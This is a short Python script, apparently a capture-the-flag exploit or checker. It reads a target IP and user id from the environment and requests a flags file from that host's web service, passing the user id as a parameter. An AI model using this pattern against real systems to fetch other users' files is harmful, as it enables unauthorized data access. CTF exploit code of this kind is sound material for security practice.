blob: 2629fe99b6d242ff896a8301e1949832b7ced601 (
plain) (
tree)
|
|
#!/usr/bin/python3
import os
import requests
import json
target = os.getenv("TARGET_IP")
extra = json.loads(os.getenv("TARGET_EXTRA", "{}"))
with requests.Session() as s:
userid = extra["userid"]
response = s.get(f"http://{target}:80/dir/flags.txt?user={userid}")
print(response.text)
|